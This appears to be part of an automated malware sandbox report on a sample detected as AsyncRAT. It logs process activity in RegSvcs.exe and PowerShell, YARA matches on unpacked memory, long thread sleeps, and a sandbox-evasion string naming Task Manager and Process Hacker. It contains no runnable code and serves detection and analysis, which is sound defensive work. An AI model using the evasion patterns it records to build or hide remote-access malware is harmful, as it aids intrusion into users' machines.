Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: 26.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.240c11b51a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.powershell.exe.1c03cb43b98.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.155c41c7c80.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.powershell.exe.1c03cb40780.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.powershell.exe.1c03cb43b98.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.155c41c7c80.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.155c41c4868.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.240c11b1d88.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.240c11b51a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.2417662894.00000240C11A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2090885360.00000155C41C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2331186217.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2793866781.000001C03CB30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7896, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 00000004.00000002.2090885360.00000155C41C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C11A1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000001A.00000002.2331186217.0000000000402000.00000040.00000400.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03CB30000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: TASKMGR.EXE#PROCESSHACKER.EXE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 599797
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 599641
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 599417
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 599266
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 599092
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 598891
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 598738
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 598603
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 598453
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1903	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1251	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3617	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3863	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8709	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 884	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2123	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3712
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 7888	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 1399	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2700	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 744
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 824
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 476
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2354
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2884
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1106
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 634
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 734
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 582
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 993
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 547
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6781
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4725
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 683
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 894
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 387

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4084	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1252	Thread sleep count: 3617 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1252	Thread sleep count: 3863 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3356	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3192	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5908	Thread sleep count: 8709 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7060	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4024	Thread sleep count: 884 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6784	Thread sleep count: 2123 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7056	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3720	Thread sleep count: 142 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5428	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5556	Thread sleep count: 3712 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1576	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2380	Thread sleep count: 609 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6204	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3116	Thread sleep count: 2700 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3620	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1848	Thread sleep count: 101 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6488	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7432	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7648	Thread sleep count: 824 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7636	Thread sleep count: 113 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7668	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep count: 476 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7944	Thread sleep count: 2354 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7976	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7928	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7916	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8156	Thread sleep count: 2884 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2260	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4432	Thread sleep count: 54 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5672	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8160	Thread sleep count: 1106 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2604	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6188	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8164	Thread sleep count: 634 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2468	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5232	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2408	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7308	Thread sleep count: 582 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7404	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5520	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7504	Thread sleep count: 993 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7580	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7568	Thread sleep count: 547 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7676	Thread sleep count: 6781 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3396	Thread sleep time: -24903104499507879s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7700	Thread sleep count: 137 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3396	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3396	Thread sleep time: -599797s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3396	Thread sleep time: -599641s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3396	Thread sleep time: -599417s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3396	Thread sleep time: -599266s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3396	Thread sleep time: -599092s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3396	Thread sleep time: -598891s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3396	Thread sleep time: -598738s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3396	Thread sleep time: -598603s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3396	Thread sleep time: -598453s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5572	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7284	Thread sleep count: 4725 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7604	Thread sleep time: -16602069666338586s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7604	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7496	Thread sleep count: 683 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7640	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7360	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7400	Thread sleep count: 894 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7552	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3836	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3936	Thread sleep count: 387 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5492	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7708	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File Volume queried: C:\ FullSizeInformation

